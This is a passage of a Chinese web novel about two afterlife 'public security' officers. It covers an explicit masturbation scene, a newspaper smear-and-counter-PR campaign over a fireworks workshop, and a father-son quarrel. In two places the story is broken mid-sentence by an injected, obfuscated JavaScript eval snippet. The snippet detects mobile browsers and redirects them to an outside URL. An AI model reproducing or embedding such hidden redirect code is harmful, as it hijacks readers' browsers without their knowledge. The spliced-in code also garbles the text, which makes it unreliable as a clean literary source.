快乐的旋涡将她整个裹了进去,让她魂为之飞,魄为之散……她从未如此颤抖过,天哪,是哪里不一样呢? 她恍惚又瞧见了他粉红的脸颊,水润的眼睛,温热的舌尖,汗水蜿蜒流泻……是了,是因为他,是因为……情动。 当意识到这一点的时候,她的身体绞紧,情海掀起惊涛,将她冲上新的浪尖,她不由自主地绷紧身子,仰起脸,等待着那个时刻的到来。 此时此刻,他在做什么呢? 他知道,就在一墙之隔的地方,她躺在浴缸里,用他舔舐过的手指做这种事情吗? 就在温尔雅卧室的卫生间里,他跪坐在沐浴花洒下,热水像是温热的雨,向着他扑来,淋湿了他的长发。 膝盖下的瓷砖是凉的,他的身子却是火热的,此刻,他□□,赤裸如出生的婴孩。 他的身体跟他本人一样优美,光洁娇嫩,是可爱的粉色。他将水流开到最大,用水声掩盖住嘴角溢出的破碎哼声。 热水像是绵绵的春雨,他是一株嫩芽,在雨中快速的舒展着,滋长着,他忍不住挺起身子,后仰着靠在冰凉的瓷砖上,热与冷的极度刺激,让他身子一阵颤抖,却无法避免的想要更多、更多。 他将花洒取下来,更换成水柱模式,对准身子,打开了开关。 强力水压喷射而出,直击他最脆弱的部位,让他浑身触电一般哆嗦起来,他幻想着这是来自她的鞭挞,她贴近了他,给予他最甜蜜的惩罚,让他在痛苦与欲望之间辗转反侧…… 到了,到了,那让他失魂落魄的时刻就要来临,在快意带来的晕眩中,他似乎看见她赤裸裸的倒在浴缸里,热水把她浸泡的娇红粉嫩,她失魂地呼唤着他的名字…… 绷紧的腰肢猛然放松下来,翻着浪花的洗澡水也平息了,祝平安像是一滩泥,软绵绵地沉在浴缸底,只觉一动不想动。 极致的快意到来之时,她似乎喊了他的名字,现在回想起来,她都不敢相信自己刚刚真的做了这件事情。 她现在饥渴成这样了吗?这花椒真的只是活血驱寒吗?不会还有其他的效果吧! 不管怎么说,刚刚那一次已经向她证明了,她和温尔雅之间的火花是无比强烈的,根本都不是火花,是火堆、火灾、火山,喷发出来连她自己都惊掉下巴。 跟这个对比起来,她曾经的那些幻想都成了小孩子过家家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967563|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的笑话,让她再回想起来都不屑一顾。 欲望平息了,她也有了脑子来思考。她现在很确定,温尔雅对她早有情愫,甚至他来公共安全部,包括住进她家,都是为了她。他待她的用心,细腻入微,让她心中……亦是缠绵不已。 差役虽然是好不容易考上的,可温尔雅的这份感情,亦是难得,让人如何能轻易抛掷? 在成年人的世界里,事业跟感情本来就不是互斥项,她全都要,不管是为了感情牺牲事业,还是为了事业牺牲感情,都是非常傻的。没有条件两全其美,那就创造条件两全其美。 也许,她应该抽时间去找找魏校长,询问一下让温尔雅调部门的事情。反正她在公共安全部待得很满意,是不打算动的。 不过现在没空处理这种事情,等到烟花工坊的事情结束,再说吧。 在这期间,她也不想一直跟他暧昧不清,这样太不尊重他的心意。还是应该隐晦的告诉他一下…… 她翻个身,懒洋洋地从浴缸中坐起来,擦干身子。 另一间浴室里,温尔雅跌坐在地,花洒翻倒,热水像是喷泉一样喷到半人高,将地上的痕迹慢慢冲洗干净。 就在刚刚,当他看到她在呼唤自己时,无以伦比的满足感像一颗子弹,轰然击中他的心窝。 一股麻意从他脚尖升起,他忍不住尖叫一声,随后又死死捂住了嘴,几乎是抽搐着结束了。后土大神司掌死亡也执掌繁育,如果他的感应没错,那她……她就在浴室里,幻想着和他…… 想到这里,刚刚得到纾解的欲望又有抬头的趋势,随之而来的还有急切和喜悦,她正在一步一步地走近他,现在,她离他,真的只有一步之遥了…… 他倒是没把所谓上下级无法恋爱的铁律放在眼里,等他的身份一恢复,就可以顺理成章地跟祝平安在一起。 对于游魂失踪之事,他现在已经有了一个模糊的想法,只要这个烟花工坊的事件结束,他就能抽出手烟验证自己的猜想了。 他站起身来,开始草草清洗自己,他得比她更早出去,还需要帮她洗衣服呢。 等他把衣服洗完,祝平安也脸红红地出来了,两人在走廊上撞了个对面,一时间,心头各自涌过一阵甜蜜。 最后,还是祝平安接过衣服,先开了口:“谢谢。” 说罢,她又很快补上一句:“等烟花工坊的事件结束后,我有件事想问问你……” 虽然我没说破,但你绝对猜的到那是什么事情,对吧! 望着她分外光滑娇嫩的肌肤,想到她刚刚念着自己的名字做了什么,虽非是他亲自操戈,他心内也十分满足。 他伸手,将她的一缕湿润的碎发撩到耳后,温柔道:“巧了,到那时候,我也有一件事要告诉你。” 两人对视一笑,心有灵犀,像用目光在空中接了个吻。他亲昵道:“快回去睡吧,刚刚在里面搞了那么久,你的腿不软么?” 祝平安的脸一下爆红! 他他他他他说这话是什么意思?是她想多了?他知道她在里面干什么了?还是他听见了? 可她又问不出口,只得瞪着他干出气,他意有所指地舔了舔自己的嘴唇:“有的时候,我更喜欢别人叫我尔雅就好。” 他一转身,只留给她一个优美的背影:“那么,晚安。今天,我还是睡沙发哦。” 他知道了!他绝对知道了! 祝平安哪里还管他睡沙发不睡沙发,风一样跑回自己房间,一头栽进温尔雅铺好的被窝,虽说也是两情相悦,但被抓现行,耻度还是爆表啊!这种事情,以后她要干,一定要挑个没人在家的时候! 80.舆论战 做完那种事之后总是会睡得很好,加之多日积攒的疲惫,祝平安几乎是一沾到枕头就睡了过去,连一个梦都没做。一觉醒来,感觉浑身骨头都是软的。 温尔雅笑吟吟地在餐厅等着她一块吃饭,看起来也睡得不错。桌上摆着四样餐点:茯苓黑米糕、枸杞红枣黑豆浆、芝麻团、五丁包子,吃得出包子馅里有切得碎碎的海参和干贝。 奶奶的,我还没把你怎么样呢,你就给我补起肾来了…… 虽然对于补肾食谱有点无语,但祝平安还是美滋滋地接受了他的好意,干掉一桌早饭后,两人神清气爽地上班去了。 到了单位,总算是抓到张松鹤了,祝平安两人将昨天发生的事情汇报一遍,说了自己的想法:“……虽说贺大有还是不同意迁移方案,但我认为,贺元夕自立门户之事依然是我们的一大突破口,正巧他也需要我们那块地,我希望能让贺元夕和他父亲缓和关系,劝说贺大有同意迁移方案。” “除了这个,我们昨天还得知了不少可以利用的信息。”温尔雅适时接话了,“无论是古法烟花,还是少东家与小师妹的恋爱故事,又或是贺大有和他夫人的感情,都是群众喜闻乐见的题材,我今天就可以联系其他几家报纸,让他们开始造势。” “正好,还有一件事要让你们知道,”张松鹤走到办公室门口,把妙妙喊了进来:“把你昨天刺探到的事情再说一遍。” “昨天,我扮成流浪猫,溜进了羊城晚报的报社,看到了访客登记簿。”妙妙拿出一张照片,“这两个月,一个叫孟飞天的人经常来拜访柴编辑,有时候一个星期就来了四次。一周前,孟飞天再也不来了。” 孟飞天?怎么好像在哪里听过类似的名字,祝平安问道:“这个孟飞天是什么人?” “飞天烟花厂的公关部经理,也是飞天烟花厂老板的儿子。”妙妙拿出一卷资料,“我也去查了柴编辑的银行流水,一周前有五千万进账,付款方就是这个孟飞天。” “一篇报道值挺多钱的么。”祝平安微微有些嫉妒,这都够她三年的工资了,“怪不得这个柴编辑摇旗呐喊的,原来是人家花钱买的水军啊。” 温尔雅也道:“飞天烟花厂是星雨烟花工坊的对家吧?昨天我听星雨的唐珊珊说起过。” “是的,飞天烟花厂跟星雨烟花工坊这种老字号不一样,是近几年新成立的厂牌,已经实现了全机械化生产,专门做低端市场,价格低廉产能高,对星雨的冲击很大。”妙妙不愧是业务骨干,飞天烟花厂的资料也准备了满满一盒,“但是星雨烟花工坊的工人手艺好,烟花质量高,花式多而美,又有一大批忠实的客户群,在中端市场上,飞天一直不是星雨的对手。” 商场上竞争不过,就买水军黑对家,这也是常用手段了,只是柴编辑选的这个切入口可非常少见。 温尔雅不禁赞叹道:“柴编辑收了钱倒是真办事,若他只是说烟花质量差、价格贵等事情,民众根本就懒得看。星雨的产品有口皆碑,一百年连个小事故都没有,他便从烟花工坊扰民的角度来论述,煽动舆论,让官府替他关闭工坊,釜底抽薪。即使我们没随他的愿,星雨这几天也被折腾得不轻,生产肯定大受影响,也是想绝了。” 祝平安冷笑一声:“什么想绝了?他有这种聪明,怎么不用在正地方?净干一些下三滥的勾当!” 她对柴编辑一点好感都没有,问张松鹤:“能不能把柴编辑抓起来?” “那不行,即使他收了钱做公关,也不犯法,毕竟他发表的文章很慎重,也没有造谣,现行法律没有条文能拿来处理他。”张松鹤遗憾摇头。 “这件事交给我就好。”温尔雅自信满满,“对于这种媒体来说,最佳形象是为民众请命,最差形象就是为资本发声,要是报社知道是因为柴编辑收黑钱,导致他们报纸失去公信力,不知道会怎么处理他呢……” 温尔雅的效率很高,当天,《羊城小报》的编辑就被约到了公共安全部。这家报社向来荤素不忌,最爱发布一些丑闻八卦,虽然影响力不是最大的,但销量一直稳居榜首。 更妙的是,他们对投稿人的保护力度很大,起码过年那次上报纸时,温尔雅动用了自己的关系都没有找到,是谁把他俩投上去的。 羊城小报的编辑叫章雪儿,是个小巧的妹子,又黑又直的头发扎着双马尾,穿一身奶咖色裙子,看起来就是个乖乖女,谁也想不到她居然知道全地府最多的八卦。 她容貌不丑,但不知怎的,祝平安看见她怎么都喜欢不起来,可能这就是气场不和吧。 她不喜欢章雪儿,且对舆论战不精通,也就不为难自己,把章雪儿留给温尔雅应付,自己只在一边喝着桑椹茶旁听。 随着温尔雅说出口的信息越多,章雪儿的眼睛就越亮,她抓着自己的小本子从头记到尾,看来这些信息对她来说也不吝于一个宝藏。 “我可以给你准备一个头版。”章雪儿也是痛快,“羊城晚报和飞天烟花厂勾结,群众最爱看这种商战桥段了。再加上你们之前收集到柴编辑家的环境监测报告、银行流水、和无投诉记录,保证一举就能把柴编辑那篇报道掀翻。” 温尔雅却摇了摇头:“两个版面。” “头版就按照你刚刚说的办,至于第二个版面,我需要在人间真情版面,弄一个系列专栏。” 温尔雅沉吟道,“专栏的内容分三期,第一期,说贺大有与他妻子的爱情,文中要体现古法手工烟花的元素;第二期,说贺元夕跟唐珊珊相爱的故事,并且带出他们近期要创业的打算;我会把贺元夕的联系方式给你,你去访问一下他,就说是公共安全部让你去的。至于第三期,需要你们向读者征稿,主题就是星雨烟花是否见证过你们的爱情。” 他每说一句,章雪儿的眼睛就闪一闪,最终忍不住笑出来:“您这是把我们的版面当广告用呢?” “又有什么不可以呢?”温尔雅笑咪咪,“难道这世界上只准飞天烟花厂做公关,不准星雨烟花工坊打广告?” “再说,这件事,羊城小报也能分到红利。您在报刊行业也算是执牛耳者,这个系列企划能带动多少销量和讨论度,不必我来告诉您吧,若是给了其他报社,您就不心疼?” 章雪儿抿抿嘴,暗赞此人真是天生操纵人心的高手。 头版的爆炸性新闻不说了,这三期专栏,由父子两的情感故事入手,带出两代人与烟花的纠葛,又在第三期引出读者投稿……由他人之情感,转向己身之情感,这种诱惑像是追剧一样,谁能抵挡的了?报纸的销量必定迎来一个大幅增长! 他还巧妙地以情为主线,潜移默化地将读者的爱情与星雨工坊的烟花挂钩,加之古法、手工、亲制的噱头,无疑让文中人的感情都多了一分绚烂和真挚,上一个这样将某种物品跟爱情绑在一起的宣传,还是钻石戒指! 试想一下,如果你是读者,见到有那么多人都是在星雨烟花燃放的时刻定情的,自己要求婚时,难道不会想也买一盒星雨烟花吗? 再配合头版羊城晚报的大丑闻,星雨的品牌形象将一下变得无比高大!踏实细心的精英匠人,一心只想给大家打造出极致浪漫,却被小人迫害的差点倒闭,大家不支持星雨都对不起良心了! 这系列专栏如果真的登出去,带给星雨的好处简直无法想象,章雪儿忍不住好奇:“星雨给你多少钱,你这么帮他们?” “章小姐,请你注意措辞,我是差役,星雨怎么会给我钱呢?”温尔雅正色道,“话题不要扯远了,两个版面,你到底给不给?要是不行的话,我就请下一家媒体过来了。” 他一边说着,一边扫了一眼祝平安,心下缠绵。若不是办这个案子,那夜,她也不会对他……就凭这个,他也要送一段富贵给星雨。 “没问题!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972960|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章雪儿当然舍不得这么好的企划白白从自己手上溜走,一口答应下来:“资料给我影印版,今天回去我就开工,明天一早,保证传遍全城!” “那我就等着明天的报纸了。”温尔雅含笑送走了章雪儿。 第二天一早,九陵街道的王婶出门买了两袋生煎包和豆浆当早餐,一边也在报刊亭上买了当天的羊城小报。 她跟闺女都是羊城小报的忠实读者,每天早上吃饭的时候,必须配上当天的八卦,才觉得是开启了新的一天。她把包子豆浆交给王叔装盘,大吼一声:“吃饭了!” 闺女打着哈欠从屋里出来,一屁股坐在餐桌上:“我看看今天都有什么新闻……嗯?《是为民发声还是为钱发声?羊城晚报陷入公关门!》” 这个标题够劲爆,瞬间就把在厨房忙活的王叔都吸引出来了:“怎么回事?给我念念!” “近日,羊城晚报发表了一篇关于星雨烟花工坊的报道,在社会上引起了对污染与民众安全的广泛讨论,您是否也是其中一员呢?如果是的话,那么很不幸,你的感情被人利用了!” 闺女念道:“据知情人士透露,此文章为羊城晚报柴编辑一手编撰,而他之所以如此抨击星雨工坊,是因收受了星雨烟花工坊的对家飞天烟花厂五千万元公关费……” “啥子?五千万?”王叔眼睛都瞪圆了,“够我们一家子活几十年的了!他真的收了?不会是骗人的吧,羊城小报不是最爱耸人听闻吗?” “这次应该不是,它下面有证据!”女儿很不爽:“别打断我,还想不想听我念了?” “这孩子,脾气还挺大!你念你念!” “本报特别通讯员已经亲临银花街的柴编辑宅邸,做了一次环境监测。此处位于烟花工坊上风口300米处,空气质量指数为73,未达到轻度污染指数标准;烟花炸响时的分贝为69,未达噪音标准。而星雨烟花工坊创立至今已经一百年,从未出现过一起安全事故。” “……本报已经找到两个月以来羊城晚报的访客登记簿,证明了飞天烟花厂的公关经理孟飞天频繁拜访柴编辑,且在一星期前,向柴编辑的账户支付了五千万,五天前,羊城晚报发表《救救我们》一文。……” 听完这篇报道,王叔不由得有了一种被愚弄的暴怒感,他这岁数的人,最爱关注时政民生,是羊城晚报的忠实读者,一直对妻女爱看的八卦报刊嗤之以鼻。 羊城晚报在他心中一直是颇为权威的消息来源,今次被曝出公关丑闻,对他的冲击很大。他怒道:“真不是个东西!原来全是商家买的假新闻,亏我之前还信了!” 他并未亲临现场看过,其实柴编辑的文章也不全是假的,紧挨烟花工坊的那几户确实污染严重。但人就是这样,当你的动机被人质疑时,你说的所有话就都没人信了。 现在王叔就沉溺于这种情绪里,从柴编辑到飞天烟花厂,再到羊城晚报本身,在他心里统统被打成反派,而勇于揭露黑暗的羊城小报,和被迫害的星雨烟花工坊,则在他心里则被镶上了一层金边。 他给这件事下了最后定论:“以后再也不买羊城晚报了!” 王叔的想法,基本上代表了80%读者的想法。在羊城的早饭桌上,《羊城晚报》已经被不少人家列入了绝对的黑名单。一家人在饭桌上边吃包子,边叽叽喳喳地骂了一会儿羊城晚报,骂够了之后才往后翻页,看还有什么新闻。 “《烟花育一世匠心,白首为一人绽放——星雨烟花工坊真情系列报道一》。”王婶子翻开她最喜欢的人间真情板块,念着这个标题,不由得一怔。 也不能怪她震惊了一下,这个人间真情板块过往刊登的其实都是名人感情现状,无外乎出轨、劈腿、婚外情、基本都是乱搞男女关系。今天突然出现这么一个明显是纯爱的故事,怎能不引起她的兴趣? “让我看看说的是什么……” 81.星雨热潮 “……结发为夫妻,恩爱两不疑。星雨烟花对于贺大有师傅来说,已经不仅仅是一个工坊,更是他和妻子一生的记忆。他亲手制作的每一枚烟花,都寄托着他深刻的感情,每当夜空燃起星雨烟花,对他来说,都好像是看见了妻子的笑脸……” 读到这里,王婶已经被感动的眼眶湿润。她这把年纪的人,最能打动她的早已不是小年轻死去活来的爱情,这种静水流深、白首与共的感情才最令她难以抵抗。她瞟了一眼王叔,王叔正在厨房刷碗,令她心里涌上淡淡的幸福。 男人不求他大富大贵,只求他知疼着热,把你放在心上。从这一点来看,贺大有的妻子嫁着了好男人了,她自己运气也不差。很快就是王叔的生日了,到那天,要不然也在院子里放点烟花,乐呵乐呵?也不知道这星雨烟花多少钱一个…… 她继续往下读去:“……贺师傅的妻子虽然已经离去,但贺师傅的烟花让她在世界上永世长存。如果贺师傅的爱情观,就是一生只专注一人一事,那在这样的父母爱情熏陶下长大的孩子,又把烟花和爱情当成什么呢?明日,人间真情板块将会刊登星雨烟花工坊真情系列报道二,为大家讲述星雨烟花少东家贺元夕的故事,敬请期待。” 同时,她还扫到下面有行小字,只是字体有点小,她的老花眼看不清,便喊闺女:“给我念念这是什么。” “各位读者,本报即日起开始征稿。如您也有在星雨烟花见证下的浪漫时刻,请来信告知我们。倘若您的来稿通过审核,我们将会把它刊登在星雨烟花工坊真情系列报道三《烟火一瞬光华,真情永垂不朽》上。来稿一经选中,可获得五千元稿费,版面有限,登完即止,来稿请寄南城区金凤街122号章编辑收。” 征稿? 王婶当然没有什么反应,但王姑娘的心立刻就小小活动了一下。类似的时刻……她还真的有。 那是前年的事情,七夕节的夜晚,她公司举行了联谊活动,地点就选在一条商业街。 那一夜商业街燃放的就是星雨烟花的招牌产品“花千树”,数十点火星升上夜空,在天空化为千百条银柳,久久不散,照亮了整个世界,摇曳的光影几乎链接起了人间和地府…… 人人都仰着头,沉醉在这种美丽里,她也是其中一员。就在这时,她的手突然被人轻轻地碰了一下。 她抬头,认出那是自己的一个男同事。他进入公司三四年,一直是个小透明,跟她说的话也不超过十句,他羞涩地问:“请问我可以跟你合张影吗?” 他的声音很小,可在烟花炸裂的间隙,王姑娘还是听见了他的话语。她清楚这句话背后的潜台词,虽说她并不喜欢他,但在万缕银光下,他的面容显得那么真诚,令人不忍拒绝。 于是,她说:“好啊。” 以无比烂漫的烟花为背景,路人帮他们拍了一张合照,她比了一个剪刀手,男同事只是羞涩地微笑。 她本来还担心男同事会提出交往的要求,可他似乎拿到合影就满足了,深深地凝视了她片刻,男同事轻声说了句谢谢,便转身没入汹涌的人潮。 后来他没来上班。听其他同事说,他难以在羊城立足,决定还是回原籍发展。 那夜的烟花与合影,就是他能在这个城市抓住的一瞬光华。 明知没有未来,只有一瞬的美丽,但他仍然选择铭记此刻。 也许终将逝去,但依然热烈的存在过,这就够了,不是吗? 也许,她应该把这件事投上羊城晚报,她不能回应他的心意,但那份情感依然纯澈真挚,像是星雨的烟火一样,值得感动更多的人。 王婶不知道王姑娘想什么,但对于系列报道的热情依然催动她买了第二天的报纸。这个标题依然充满着吸引力:《比翼连理情不负红尘遍开星雨花——星雨烟花工坊真情系列报道二》 这一篇报道,说的是星雨烟花工坊少东家与小师妹的爱情故事,两人在工作中互生情愫,愿意同甘共苦再创业。 “……在母亲投胎前,父亲没有勇气去送她最后一程,但他燃起了满天的烟花,母亲看到烟花时,笑着说,她虽然不知道我是谁,但烟花让她感到非常幸福。母亲和爱人,都是我生命中最重要的女人,为了她们,我也希望把这份美丽传递到世界的所有角落,让大家都能感受到被爱的幸福……” 如果说贺大有的故事激起了王婶对好男人的认同,这个故事则切中了王婶对好女婿的期许:身为有产业的二代,丝毫没有纨绔气息,吃苦耐劳,踏实肯干不说,还有白手起家的志气,对待感情也是朴素慎重,跟现在的小年轻一比,那真是天上地下。 可恨家里的丫头不懂事,高不成低不就,要是也能找个这样的女婿,那有多好? 除了爱情故事,这篇报道还写了贺元夕的创业计划,据说他打算引入全新的机械,让星雨烟花的在保证质量的同时,产量翻番,价格折半,为大家带来更加物美价廉的产品。 哎呦,不知道他什么时候开厂啊?还有两个月老王就要过生日了,不知道能不能在那之前买到便宜的星雨烟花啊? 王婶的想法,颇具代表性,此刻,街头巷尾已经多了不少讨论声:“他大姑,你看报纸没有?” “看了!看了!星雨烟花工坊是吧?这父子两代都是痴情种子,真不错啊!可恨这么好的人,还有那些黑心肝的小人泼他们脏水,也不怕烂了舌头!” “就是,就是!越是这样,我们越要支持,他们那个少东家不是要开厂吗?开厂之后价格就便宜了,今年过年,咱们也买点星雨的鞭炮,不买飞天烟花厂的了?” “好啊!飞天的烟花除了便宜,别的都不咋样,反正都得买,我干嘛给这种小人送钱,不给诚实的生意人?咱一家买它个一万响,也是过节一次么!” 至于羊城晚报报社,气氛可就没那么和谐了。报社的头面人物齐聚一堂,销售经理拿出最近两天报纸的销量报表给大家看:一条直线如瀑布落九天,短短两天时间,销量便暴跌50%,报纸损失难以估量。 坏消息还不只这一个,广告部的负责人也很沉痛的告诉大家,已经有一小半跟报纸签了约的品牌打算撤单了,尤其是食品药品和机械制造这两个行业的品牌,几乎完全跑光了!解约理由都非常统一:“贵报纸的信誉破产,不利于其塑造良好的品牌形象。” 食品药品和机械制造行业的广告费一向丰厚又稳定,这个损失简直令人痛彻心扉! 但是没办法,这两个行业都是极度依赖消费者信任的,现在羊城晚报的编辑做黑公关?要是继续在这家报纸上登广告,那读者该怎么想他们品牌? 虽说不一定会被质疑,但这种烂事能不沾边就不沾边,毕竟信任得来不易,要崩塌可就是那么一天半天的事情,由不得人家不小心。 报社董事长坐在上头,脸色阴沉的吓死人:“还有多少广告商没有解约?” “大概20多家吧……” “都是什么行业的?” “婚介中心和皮肤病诊所……” 能刊登什么样的广告,往往决定了报纸的档次。像是《地产资讯》这种报纸,大多接到的都是装修家居的广告,社会新闻类的报纸则多是接到食品药品和日化快消类广告。 至于皮肤病诊所跟婚介中心,那都是街头小广告了,董事长一闭眼睛,好么,赫赫有名的羊城晚报,在整个媒体行业都能问鼎三甲,现在成了不入流的街头报纸了! 他强压怒气:“就没有回旋余地了么?优惠一些费用,让他们不要解约!”不管怎么样,档次掉下去就提不起来了,亏本也要把这些厂商留住! “这个……”广告部负责人都不敢说话了,他哆哆嗦嗦地把自己了解到的情况说了出来:“恐怕不行……这几家厂商愿意出违约 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他唇边露出一个阴狠的笑容:“你是他的顶头上司,肯定知道他的小辫子……回去查一查,我要让他在整个业界混不下去!” “是!” 羊城晚报总部自是一番鸡飞狗跳不提,而舆论战的成果,已经在大街小巷流传开来。人人都在讨论贺家父子的爱情,还有人赞叹星雨烟花的质量好。 祝平安跟温尔雅从街上走过,已经听了满耳朵这样的讨论。她不由得用极其佩服的眼神看着温尔雅:两天内兵不血刃地扭转了局势,牛啊! 感受到意中人赞许的目光,温尔雅也觉自豪,连脚步都更加轻快了。最近这个案子张松鹤几乎一点没插手,总是神出鬼没的,让他有了大大的露脸机会,他不由得在心里暗暗祈祷,张松鹤一辈子都不要再来管闲事。 路过柴编辑家时,隐隐听到里面传来吵架声:“……是你说这里有污染的,非拉我们社团跟你一起造势,谁知你小子玩我们!我们也是又出人又出力,凭什么五千万你一个人独吞!给我拿出来!” 怪不得从昨天起,就没有倒计时条幅寄来了,原来柴编辑也是自身难保啊! 祝平安跟温尔雅相视一笑,这种朋友间的吵架,他们可管不了,让柴编辑自己对付去吧。 行不多时,他们已经来到了星雨烟花工坊,这里也已经大变样了。 几天前,这里还到处都是环保组织的抗议团体,可现在,这些人都无声无息的不见了,空留一地的环保传单,还有油漆红印和垃圾。 汪师兄正带着一堆人在门口搞清洁,见到他们来了,脸上的笑容都真心多了:“二位来了?欢迎欢迎!” 他拉着温尔雅的手握了握:“我听师妹说了,这次的事情多亏你们照顾,这才揭露那个飞天烟花厂的阴谋,现在,闹事的也没有了,我们工坊又有了名气,好多新客户都想找我们订货呢!贺师兄一走,这些事情都要我来盯,我都忙不过来了!” 温尔雅温和回应:“不敢当,这都是我们组长的功劳,我只是打打下手而已。” 他这么轻易就把功劳让出来,祝平安可不敢腆着脸照单全收:“哪里哪里,该你的功劳就是你的,这件事我可没帮上多少忙!” 汪师兄引着两人进门:“贺师兄已经跟您二位说了吧?他今天回来就是跟师父谈分家的事情,您二位能不能……别让他分家?” 他面有难色:“我跟师父一样,就喜欢研究烟花,不是经商的材料。贺师兄要是一走,烟花工坊恐怕也支应不了多久,都是一家人,何必闹得难堪呢?” 他吞吞吐吐,觉得自己说这个是强人所难,已经做好了被回绝的准备。谁知,祝平安却对他笑了笑。 “没问题。”祝平安跟温尔雅对视一笑,“我们就是为了这个来的。” 82.父与子 贺元夕咬着腮帮子站在桌子前,看着那张熟悉的面容。 这个院子他从没来过,也不知道父亲在这里供奉着母亲的遗像。这张脸已经暌违九十年,但母亲的音容笑貌,没有一刻从他心头忘却,此次见到,令他心中五味杂陈。 不待父亲开口,他便膝盖一软跪了下去,恭恭敬敬叩了三个头,再抬起脸时,一道热泪已经从这铁一样的汉子脸上流下。 他望着父亲枯瘦的身影,有那么一刻,他对父亲的怨怼忽然消失了。 他忘记了他有多么冷酷、固执、不近人情,只想起一百多年前,自己还是个不到桌子高的娃娃,新年放过爆竹后,父亲就会把他举起来,让他抓住门槛:“新年摸一摸高,就能长大个,要快点超过你爹。” 然后,母亲就会带着一股子香气,从水气腾腾的厨房里出来,端着一大盘雪白的饺子笑盈盈地招呼他们:“快来,吃饺子了!过年生意好,今天咱们吃的是肉馅饺子!” 那时候,他的父亲是巨人,他的母亲是仙女。他们携手给他撑起了一个家,无论是战乱还是饥荒都没有打败他们,全家从北向南辗转搬迁,最终在广东扎下根,有了工坊。 现在,巨人已经萎缩成了一个佝偻的老头,而仙女……仙女到哪里去了呢? 她在遥远的人世间,再次见到烟花绽放时,心头还会涌上幸福与感动吗?她是否知道,在她离开后,他们父子……变成了今天这样? 下一秒,父亲开口了:“哼,来了还知道磕三个头,也不算白养活你一场。” 只这一句话,那个讨厌、刻薄的父亲就又回来了,让贺元夕怀疑自己记忆里的幸福,都是他的幻觉。他气往上撞,站起身来冷冷回答道:“要是爹早跟我说娘的灵位在这里,我也不会九十年才来这一回。” 贺大有轻轻扫了一眼桌上的遗像,一时间无措地蠕动着嘴唇。又是这样,自从她去了,他们父子的对话总是陷入这种怪圈,说不上几句,就吵得天翻地覆。 当然,他知道自己也有不对的地方,他那张嘴总是说不出好听的话。男人不应该轻易的表达感情,一个老男人更是如此,那等于在展示自己的老迈与脆弱,而父亲最不喜欢的就是让子女看到自己脆弱的一面。 男人的脆弱面应该留给妻子,她能懂他、疼他,她去了,他说给谁听?谁又能听得懂? 他看着妻子的遗像,照片上的她笑的很美。 如果她还在的话…… 当然,臭小子的问题更大,让人见了就生气。 他一直嚷嚷着要搞工厂、搞机械,那机械的产物怎能比得上工匠的手艺那么有灵性?何况机械只会那么几个花式,好的匠人一生能开发的新烟花可是无穷无尽。 他要推广机械,最终的后果就是一群只做了两三年的学徒,就敢说自己是烟花匠人了,然后就敢用机器鼓捣一些四不像出来…… 臭小子老是说自己是老古董,他倒觉得儿子是鼠目寸光。好的匠人需要一二十年的水磨工夫来慢慢培养,一切都用机械化生产,那怎么培养好匠人呢? 好匠人没有了,这个行当怎么发展?怎么传承?臭小子眼里只有钱,他可不能跟着犯糊涂! 他做了一辈子的烟花、金娥最爱的烟花……它得永永远远挂在天上。 可孩子大了,现在都娶媳妇了,他也渐渐压不住了,也罢,就让元夕自己撞一次南墙去学乖。至于他自己,他要永远留着这个烟花工坊,为了他自己,为了金娥,也是为了让臭小子撞完南墙之后,还不至于一无所有。 他扭过头去,拿出了一个小盒子,盒子里放的是一沓照片,有他们一家三人的合影,也有他与金娥的合照,亦有她的独照。他把盒子塞给儿子:“拿去,你娘所有的照片我都复印了一份,要供奉哪一张,都由你。” 贺元夕接过小盒子,看着里面一家三口的照片,默然片刻,开口道:“爹,一定要分家吗?咱们一家开开心心的日子……不好吗?” 他大着胆子,去拉了拉父亲的袖子:“您操心一辈子了,现在为了一个工坊,跟儿子三天一吵五天一闹,何必呢?我已经长大成人了,您也该享享清福,就把生意的事情都放下,交给我处置,也让我尽尽孝心,这比什么不强?” 见父亲不说话,他又道:“您跟官面人物犟下去,有什么好果子吃?现在人家还跟咱们好声好气的商量,是给咱们面子,若真惹了他们不高兴,想找个由头拿捏咱们还不跟玩似的。咱不能给脸不要,趁这机会能拿到什么好处就拿什么好处,您说是不是这个理?” 他诚恳道:“您也信儿子一次吧,现在同意迁移方案,没有坏处。短期可能影响生意,但只要我开了工厂,保证很快就会把钱赚回来,您……” 贺大有之前还听着,直到他说了这句话,猛地一抖肩膀,把贺元夕的手甩掉:“钱钱钱,你就知道钱!我懒得跟你说话,赶快出去把家私分一分,分完了你快滚!” 贺元夕僵在当地,又一次努力沟通失败了,父亲像是一头老倔牛,他再怎么对他弹琴也没用,永远是这样。 挫败、失望、烦躁、无奈、不被理解……种种情绪在他心头汇总,成了一股子邪火,往常,他会选择把它发出来,可这是母亲的灵位前,望着母亲的笑容,他硬生生忍了下去。只是把跟在父亲屁股后离开了院子。 父子俩沉默的走出去,来到了工坊正院。贺大有扫了一眼,只见工坊所有工人已经到齐,两个徒弟也站在一旁,还有两个不该出现在这里的人,公共安全部的差役,八成是儿子叫来的,他还是对那块地贼心不死。 但他是不会让臭小子如愿的,谁也不能分开他和金娥,亲生儿子也不行。 祝平安跟温尔雅坐在下首,看贺元夕父子出现,一个两个脸绷得死紧,就觉的要糟糕。 